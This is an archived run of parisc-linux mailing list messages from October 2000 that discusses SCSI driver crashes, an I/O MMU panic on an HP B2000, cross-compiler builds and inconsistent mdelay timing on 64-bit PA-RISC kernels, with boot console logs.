Lines: 13
Approved: news@gmane.org
Message-ID: <20001004174155.F27981@linuxcare.com>
References: <20001004155438.D27981@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619162 4255 80.91.229.3 (22 Nov 2014 01:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Oct  4 10:42:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25743
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 10:42:55 -0600
Original-Received: (qmail 2899 invoked by uid 15267); 4 Oct 2000 16:43:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2869 invoked from network); 4 Oct 2000 16:43:52 -0000
Original-Received: from user33-80.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.33.80)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 16:43:52 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F1613B005; Wed,  4 Oct 2000 17:41:55 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001004155438.D27981@linuxcare.com>; from rhirst@linuxcare.com on Wed, Oct 04, 2000 at 03:54:38PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8057

On Wed, Oct 04, 2000 at 03:54:38PM +0100, Richard Hirst wrote:
> Hi,
>   Some scsi drivers create a kernel thread for error handling.  If
> such a driver is build as a module, then when the module is unloaded
> you get something like:
> 
> 10:~# rmmod lasi7xx_mod
> break 0,0: pid=100 command='scsi_eh_0'

Fixed, with Willys help.

Richard


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: yuqian <yuqian@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bug report on Sym53C895a or config error?
Date: 5 Oct 2000 12:13:46 -0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20001005121346.23782.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619163 4257 80.91.229.3 (22 Nov 2014 01:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: yuqian@huawei.com  Thu Oct  5 06:13:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA10166
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 06:13:01 -0600
Original-Received: (qmail 23783 invoked by uid 15267); 5 Oct 2000 12:13:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23771 invoked from network); 5 Oct 2000 12:13:45 -0000
Original-Received: from unknown (HELO smtp.huawei.com) (202.96.135.132)
  by mailserv2.iuinc.com with SMTP; 5 Oct 2000 12:13:45 -0000
Original-Received: from y18626 ([10.108.21.26]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id G1YHI902.E10 for
          <parisc-linux@thepuffingroup.com>; Thu, 5 Oct 2000 20:03:45 +0800 
X-Sender: y18626@pop.huawei.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Xref: news.gmane.org gmane.linux.ports.parisc:8058

Hi.
For xc not available yet, I download Image-testcpu(2000-10-02) 
as my net-boot kernel, my HP box is HP B2000 (9000/785) with 
NCR53C8x SCSI card. At first all is OK, but the follow message is 
reported during mouting root fs, is it a bug or just that kernel's 
config not match my box?
Thanks.
BTW: Is xc not available for HP-UX 10.20 yet?
(When I type 'configure --target hppa-linux' for glibc, it told me this
is not supported yet.)
And: How can I get more information (like instruction, registers value ...)
for bug report?
--------------------------------------------------------------------
sym53c895a-0-<6,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c895a-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
 sdb: unknown partition table
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI
endLinux Tulip driver version 0.9.8 (July 13, 2000)
pcibios_enable_device: Enabling device 00:0c.0 (0057 -> 0157)
eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:10:83:FD:CF:86, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
request_irq(514, c01afb04, 0x4000000, eth0, c7f2d000)
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 10.108.21.26, my address is 10.108.21.3
kmem_create: Forcing size word alignment - nfs_fh
VFS: Mounted root (ext2 filesystem) readonly.
Warning: unable to open an initial console.
execve /sbin/init c0274008 c0274030
Kernel panic: sba_iommu.c:sba_alloc_range() I/O MMU is out of mapping resources

Kernel panic: sba_iommu.c:sba_alloc_range() I/O MMU is out of mapping resources

Kernel panic: sba_iommu.c:sba_alloc_range() I/O MMU is out of mapping resources

Kernel panic: sba_iommu.c:sba_alloc_range() I/O MMU is out of mapping resources

scsi : aborting command due to timeout : pid 0, scsi0, channel 0, id 5, lun 0 0
sym53c8xx_abort: pid=0 serial_number=54 serial_number_at_timeout=54



From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: yuqian <yuqian@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pre-build HP-UX/10.20 bash's problem
Date: 5 Oct 2000 12:20:26 -0000
Lines: 3
Approved: news@gmane.org
Message-ID: <20001005122026.30118.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619163 4260 80.91.229.3 (22 Nov 2014 01:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: yuqian@huawei.com  Thu Oct  5 06:19:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA10696
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 06:19:27 -0600
Original-Received: (qmail 30119 invoked by uid 15267); 5 Oct 2000 12:20:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30102 invoked from network); 5 Oct 2000 12:20:25 -0000
Original-Received: from unknown (HELO smtp.huawei.com) (202.96.135.132)
  by mailserv2.iuinc.com with SMTP; 5 Oct 2000 12:20:25 -0000
Original-Received: from y18626 ([10.108.21.26]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id G1YHTD02.M0R for
          <parisc-linux@thepuffingroup.com>; Thu, 5 Oct 2000 20:10:26 +0800 
X-Sender: y18626@pop.huawei.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Xref: news.gmane.org gmane.linux.ports.parisc:8059

The problem resolved after rebuild hpux kernel with large_ncargs_enabled=1.
Thanks all.


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bug report on Sym53C895a or config error?
Date: Thu, 05 Oct 2000 09:40:46 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <200010051640.JAA04424@milano.cup.hp.com>
References: <20001005121346.23782.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619163 4262 80.91.229.3 (22 Nov 2014 01:19:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: yuqian <yuqian@huawei.com>
Original-X-From: grundler@cup.hp.com  Thu Oct  5 10:35:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12795
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 10:35:45 -0600
Original-Received: (qmail 28309 invoked by uid 15267); 5 Oct 2000 16:36:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28292 invoked from network); 5 Oct 2000 16:36:43 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 5 Oct 2000 16:36:43 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id CEBD1297; Thu,  5 Oct 2000 09:36:41 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA04424;
	Thu, 5 Oct 2000 09:40:51 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "05 Oct 2000 12:13:46 PDT."
             <20001005121346.23782.qmail@mailserv2.iuinc.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8060

yuqian wrote:
> For xc not available yet, I download Image-testcpu(2000-10-02) 
> as my net-boot kernel, my HP box is HP B2000 (9000/785) with 
> NCR53C8x SCSI card.

The B2000 isn't really supported yet. The piece that's missing
support is the SuckyIO (superio from NCR) chip. SuckyIO provides
USB, IDE, Floppy, Serial port, etc.

I'm using an add-on serial card as my "console" in a C3000.
The built-in Serial port 1 provides output until linux switches
from PDC console to serial console.
Once SuckyIO support is in place, the add-on serial card won't
be needed.

...
> BTW: Is xc not available for HP-UX 10.20 yet?

No one has taken ownership of HPUX XC builds since building
on i686-linux is pretty fast. Did I hear you volunteer? :^)

You can try building an HPUX XC with the following script
after downloading the appropriate sources (either from CVS
or nightly snapshots via ftp):
    http://puffin.external.hp.com/cgi-bin/cvsview/build-tools/recipe.hpux

> (When I type 'configure --target hppa-linux' for glibc, it told me this
> is not supported yet.)

You don't need xc-glibc to build kernels - only userspace apps.
The XC resulting from recipe.hpux is only suitable for building
parisc-linux kernels.

> And: How can I get more information (like instruction, registers value ...)
> for bug report?

Add calls to show_reg() in the code path that crashes.
We should get register dumps with most dumps and I thought with
panics as well.

> Kernel panic: sba_iommu.c:sba_alloc_range() I/O MMU is out of mapping resources

The problem here is the same one Ryan Bradetich (and others) ran into.
Basically the I/O Pdir mapping resource is poorly utilized (though
not as bad as it originally was). Much of the I/O Pdir is "wasted"
due to the way it's managed.

I'll add some more debug code in this particular panic path.

BTW, can someone look at why the panic didn't halt the machine and
provide a register dump?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] udelay() inconsistent
Date: Thu, 5 Oct 2000 17:37:34 -0700 (PDT)
Lines: 263
Approved: news@gmane.org
Message-ID: <200010060037.RAA05141@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619164 4263 80.91.229.3 (22 Nov 2014 01:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct  5 18:32:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA17073
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 18:32:25 -0600
Original-Received: (qmail 7644 invoked by uid 15267); 6 Oct 2000 00:33:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7633 invoked from network); 6 Oct 2000 00:33:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Oct 2000 00:33:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 357336C
	for <parisc-linux@thepuffingroup.com>; Thu,  5 Oct 2000 17:33:24 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id RAA05141
	for parisc-linux@thepuffingroup.com; Thu, 5 Oct 2000 17:37:34 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8061

Hi PA2.0 guru's,
udelay/mdelay code is broken for wide-mode kernel bits.
It explains why SCSI and LAN complain as well.
I've appended console output which includes my instrumentation.

The symptom is the first mdelay call is correct.  (ie mdelay(1) uses
398729 cycles on 400Mhz machine.) The next calls to the same code result
in nearly *twice* as many cycles (796488).

"ms 174  D_cr16 70238957" are in agreement.  (ie 70238957/400000 = 175)
(CPU_cycles/ (CPU_cycles/msec) -> msec)
The loop which counts "ms" uses mdelay(1). The ms and D_cr16 reported on 
previous console output were NOT in agreement and may not be here
either in every case. My point is not *every* successive call to mdelay
is wrong - perhaps it depends on code alignment.

I tried a few things:
o appended UL to 1000000 in __delay() function (include/asm-parisc/delay.h)
o changed .balign to 16 instead of 64 - only need to guarantee
  loop is in the same cacheline.

and neither changed the behavior.

I was guessing the problem might have something to do with branch
prediction upon entering the loop is different on successive attempts
but haven't studied that yet.


I still need to work on the "CACHE TEST FAILED: script execution failed."
messages. I'm pretty sure those are due to LCI instruction being (mis-)used
in sba_iommu.c.

thanks,
grant

ps. Side note: INW() (ie gsc_readw()) costs 500-600 cycles
    on my C3000 which is running 400Mhz. PIO is expensive!
    reducing PIO in the performance path is "a good thing"(tm).



Firmware Version 4.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           10223616 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  LAN.15.8.80.76.3.254
  Console path:         GRAPHICS(2)
  Keyboard path:        USB

CPU 0
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized but not tested because FASTBOOT is
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Mon Sep 25 17:09:43 PDT 2000
0/vmlinux 2651949 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
Kernel: partition 0 file /vmlinux
ELF64 executable

Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 1683960 mediaptr 0x1000
Segment 1 load 0029c000 size 404064 mediaptr 0x19d000
Segment 2 load 00300000 size 147456 mediaptr 0x200000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
The 64-bit Kernel has started...
Enabled FP coprocessor
If this is the LAST MESSAGE YOU SEE, you're probably using
32-bit millicode by mistake.
Free memory starts at: 0xc036d000
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 '
PALO initrd 0-0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfffffffffed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffffffffffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfffffffffed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000822 (experimental)) #28 Thu Oct 5 16:14:41 PDT 2000
free_bootmem(0x36d200, 0xc92e00)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 4096
zone(0): 2048 pages.
zone(1): 2048 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa64 
trap_init
Calibrating delay loop... 797.90 BogoMIPS
Memory: 12268k available
Dentry-cache hash table entries: 2048 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 512 (order: 0, 4096 bytes)
Page-cache hash table entries: 4096 (order: 3, 32768 bytes)
Inode-cache hash table entries: 1024 (order: 2, 16384 bytes)
POSIX conformance testing by UNIFIX
lba_init() called. registering driver.
lba version TR2.1 (0x2) found at 0xfffffffffed30000
lba_fixup_bus(0x00000000c0fd20e0) bus 0 sysdata 0x00000000c0ff81e0
lba version TR2.1 (0x2) found at 0xfffffffffed32000
lba_fixup_bus(0x00000000c0fd21e0) bus 1 sysdata 0x00000000c0ff83a0
lba version TR2.1 (0x2) found at 0xfffffffffed38000
lba_fixup_bus(0x00000000c0fd22e0) bus 2 sysdata 0x00000000c0ff84a0
lba version TR2.1 (0x2) found at 0xfffffffffed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA found Astro 2.1 at 0xfffffffffed00000
lba_init_iregs() ibase 0x1 imask 0xff000000
lba_init_iregs() base_addr fffffffffed38000
lba_init_iregs() base_addr fffffffffed32000
lba_init_iregs() base_addr fffffffffed30000
lba_init_iregs() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 256 buckets, 4Kbytes
TCP: Hash tables configured (established 512 bind 512)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 5, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 5 function 0 irq 769
ncrgetfreq()  mdelay(1) = 398755  INW(nc_sist) costs cr16 672
ncrgetfreq()  ms 175  D_cr16 70643409
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 571
ncrgetfreq()  ms 156  D_cr16 62972030
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 575
ncrgetfreq()  ms 156  D_cr16 62972370
sym53c875-0: NCR clock is 56976KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4901000
ncrgetfreq()  mdelay(1) = 796489  INW(nc_sist) costs cr16 572
ncrgetfreq()  ms 169  D_cr16 68221690
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 573
ncrgetfreq()  ms 211  D_cr16 85174528
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 573
ncrgetfreq()  ms 211  D_cr16 85174949
CACHE TEST FAILED: script execution failed.
start=00090dd8, pc=00090de0, end=00090df8
CACHE INCORRECTLY CONFIGURED.
sym53c875-0: giving up ...
kernel BUG at sym53c8xx.c:719!
sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 513
ncrgetfreq()  mdelay(1) = 796483  INW(nc_sist) costs cr16 566
ncrgetfreq()  ms 174  D_cr16 70237558
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 567
ncrgetfreq()  ms 156  D_cr16 62971858
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 567
ncrgetfreq()  ms 156  D_cr16 62971969
sym53c896-0: NCR clock is 56976KHz
sym53c896-0: ID 7, Fast-20, Parity Checking
sym53c896-0: on-chip RAM at 0xf4002000
ncrgetfreq()  mdelay(1) = 796489  INW(nc_sist) costs cr16 574
ncrgetfreq()  ms 169  D_cr16 68220199
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 569
ncrgetfreq()  ms 211  D_cr16 85173788
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 568
ncrgetfreq()  ms 187  D_cr16 75487845
CACHE TEST FAILED: script execution failed.
start=000b0dd8, pc=000b0de0, end=000b0df8
CACHE INCORRECTLY CONFIGURED.
sym53c896-0: giving up ...
kernel BUG at sym53c8xx.c:719!
sym53c896-0: rev 0x4 on pci bus 0 device 15 function 1 irq 513
ncrgetfreq()  mdelay(1) = 796483  INW(nc_sist) costs cr16 566
ncrgetfreq()  ms 174  D_cr16 70238957
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 568
ncrgetfreq()  ms 156  D_cr16 62971505
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 569
ncrgetfreq()  ms 156  D_cr16 62971521
sym53c896-0: NCR clock is 56976KHz
sym53c896-0: ID 7, Fast-20, Parity Checking
sym53c896-0: on-chip RAM at 0xf4000000
ncrgetfreq()  mdelay(1) = 796489  INW(nc_sist) costs cr16 563
ncrgetfreq()  ms 169  D_cr16 68218650
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 569
ncrgetfreq()  ms 211  D_cr16 85172765
ncrgetfreq()  mdelay(1) = 796488  INW(nc_sist) costs cr16 571
ncrgetfreq()  ms 211  D_cr16 85174385
CACHE TEST FAILED: script execution failed.
start=000d0dd8, pc=000d0de0, end=000d0df8
CACHE INCORRECTLY CONFIGURED.
sym53c896-0: giving up ...
kernel BUG at sym53c8xx.c:719!
scsi : 0 hosts.
scsi : detected total.
82596: sizeof(struct i596_rfd) = 64
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pcibios_enable_device: Enabling device 01:04.0 (0043 -> 0143)
ttyS00 at port 0x12200 (irq = 770) is a 16550A
Linux Tulip driver version 0.9.8 (July 13, 2000)
pcibios_enable_device: Enabling device 00:0c.0 (0057 -> 0157)
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Sending BOOTP requests...


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] udelay() inconsistent
Date: Thu, 05 Oct 2000 18:24:21 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <200010060124.SAA05210@milano.cup.hp.com>
References: <200010060037.RAA05141@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619164 4266 80.91.229.3 (22 Nov 2014 01:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct  5 19:19:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA17927
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 19:19:19 -0600
Original-Received: (qmail 16115 invoked by uid 15267); 6 Oct 2000 01:20:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16104 invoked from network); 6 Oct 2000 01:20:19 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Oct 2000 01:20:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id AAB6481B
	for <parisc-linux@thepuffingroup.com>; Thu,  5 Oct 2000 18:20:18 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA05210
	for <parisc-linux@thepuffingroup.com>; Thu, 5 Oct 2000 18:24:29 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 05 Oct 2000 17:37:34 PDT."
             <200010060037.RAA05141@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8062

Grant Grundler wrote:
...
> I still need to work on the "CACHE TEST FAILED: script execution failed."
> messages. I'm pretty sure those are due to LCI instruction being (mis-)used
> in sba_iommu.c.

I ditched the __LP64__ code in sba_iommu.c (uses asm("lci..")) in order to
use the same code as 32-bit uses. The scsi "CACHE TEST" failures went away.

So if anyone can make the LCI work...I'll think of a suitable reward...
(something better than a 710...perhaps a 4GB, 7200RPM, SE SCSI disk?
or a dual headed GSC graphics card?)


But on this run the ms/D_cr16 values do NOT agree:
...
sym53c875-0: rev 0x3 on pci bus 1 device 5 function 0 irq 769
ncrgetfreq()  mdelay(1) = 398649  INW(nc_sist) costs cr16 576
ncrgetfreq()  ms 91  D_cr16 71007434
ncrgetfreq()  mdelay(1) = 796482  INW(nc_sist) costs cr16 585
ncrgetfreq()  ms 80  D_cr16 63473212
ncrgetfreq()  mdelay(1) = 796482  INW(nc_sist) costs cr16 594
ncrgetfreq()  ms 81  D_cr16 63570830
sym53c875-0: NCR clock is 109732KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4901000
ncrgetfreq()  mdelay(1) = 398488  INW(nc_sist) costs cr16 580
ncrgetfreq()  ms 87  D_cr16 68386143
ncrgetfreq()  mdelay(1) = 796482  INW(nc_sist) costs cr16 566
ncrgetfreq()  ms 108  D_cr16 85026462
ncrgetfreq()  mdelay(1) = 796482  INW(nc_sist) costs cr16 591
ncrgetfreq()  ms 108  D_cr16 85728994
sym53c875-0: PCI clock (82299 KHz) is out of range [22688 KHz - 45375 KHz].
sym53c875-0: giving up ...
sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 513
...

(ie 85728994/400000 = 214 != 108)

later,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: yuqian <yuqian@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bug report on Sym53C895a or config error?
Date: 6 Oct 2000 01:45:43 -0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20001006014543.5219.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
